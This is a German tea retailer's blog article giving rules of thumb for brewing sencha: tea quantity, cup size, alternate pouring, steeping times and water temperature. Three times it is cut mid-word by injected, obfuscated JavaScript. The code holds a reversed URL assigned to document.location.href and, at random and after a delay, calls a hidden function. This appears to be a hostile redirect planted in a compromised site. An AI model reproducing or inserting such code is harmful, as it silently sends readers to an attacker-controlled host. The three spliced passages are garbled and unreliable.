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Sencha zubereiten kann jeder!

Ein Selbstläufer ist die Sencha-Zubereitung nicht. Selbst Japanern liegt das nicht unbedingt im Blut, die jüngere Generation greift inzwischen auch dort oft lieber zum Teebeutel (oder kauft gleich Dosen-Tee aus dem Getränkeautoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomaten). Aber eine Wissenschaft muss man nun auch nicht draus machen – und vor allem: Man kann guten Sencha zubereiten, auch wenn man keinen edlen Tokoname-Kyusu besitzt (oder nicht einmal weiß, was das ist). Die teebegeisterten Japaner machen aus der Teezubereitung im Alltag übrigens selbst auch kein großes Gedöns. Und es ist eher die Teekultur für jeden Tag, die uns von Senchajunkies interessiert. Klar, der Deutsche in uns würde es am liebsten japanischer als die Japaner anstellen. Aber falscher Perfektionismus wird dazu führen, dass wir Sencha nur noch am Sonntagnachmittag  trinken, statt – wie es sein sollte – jeden Tag, auch bei der Arbeit im Büro.

Hier ein paar Faustregeln:

Die Teemenge macht’s! Viel wird immer über die Wassertemperatur gesprochen, aber wenn der Tee zu wenig Geschmack hat oder zu bitter ist, liegt es meistens an der Menge. Hier hilft einfach ausprobieren. Auf 300 ml Wasser etwa nimmt man meistens einen gehäuften Teelöffel oder 2 bis 3 g Tee. Achtung: Je höher die Qualität, destoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dichter und schwerer meist die Teeblätter.

Lieber kleine Wassermengen! Die hierzulande so weitverbreitete 1-Liter-Teekanne ist nicht unbedingt für guten Sencha geeignet. In der Regel wird nur soviel Tee zubereitet, wie sofort auf Tassen verteilt werden kann. Wer keine kleine Kanne hat (beispielsweise: 300 ml), nimmt einfach eine etwas größere Tasse und verwendet einen Teesieb oder ein Tee-Ei. Die Teefilter aus dem Drogeriemarkt kann man im Prinzip auch verwenden, doch sind sie für einige Tees zu fein. Unser Matcha-Sencha etwa wird mit Teefilter nicht voll seine grüne Farbe entfalten.

Bei mehreren Tassen aufgepasst! Nie den Inhalt der Kanne auf erst eine, dann die andere Tasse verteilen, sondern darauf achten, dass man die Tassen in mehreren Etappen abwechselnd füllt. Der Grund ist ganz einfach der, dass der zuletzt eingeschenkte Tee mehr Geschmack hat. Den Unterschied schmeckt man! Aus dem selben Grund sollte man übrigens die Kanne immer bis zum letzten Tropfen leeren.

Nur den ersten Aufguss länger ziehen lassen! Sencha lässt sich bekanntlich mindestens zweimal, in der Regel dreimal aufbrühen. Beim ersten Mal lässt man den Tee 30 bis 120 Sekunden ziehen. Wenn nichts Genaueres angegeben ist, wartet Ihr am besten eine Minute. Die weiteren Aufgüssen kann man in der Regel gleich nach dem Übergießen in die Tasse einschenken. Was man in Japan bei Teeverkostungen häufig sieht, ist die gemeinsame Verwendung der ersten beiden Aufgüsse: Die Tassen werden mit dem ersten Aufguss zur Hälfte befüllt, der Rest wird mit dem zweiten Aufguss geliefert.

Kein kochendes Wasser! Je höher die Qualität des Tees, destoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to niedriger die Wassertemperatur. Viel mehr als 80°C sollte das Wasser bei keinem Sencha haben. Überhaupt ist man mit 80° fast immer auf der sicheren Seite, aber sehr hochwertige Senchas werden teilweise mit deutlich unter 70° zubereitet. Wichtig ist, dass man das Wasser trotzdem zum Kochen gebracht hat. Der Geduldige wartet dann mit einem Teethermometer, der Japaner gießt das heiße Wasser einfach zum Abkühlen erst in ein anderes Gefäß und gleich danach in die Tasse. Beim zweiten Aufguss verwenden Tee-Profis übrigens oft eine höhere Temperatur, z.B. 90°.

So, das soll für’s erste reichen. Wir wünschen gutes Gelingen!

© senchajunkies -Teehandel Dr. Alexander Wachter 2015
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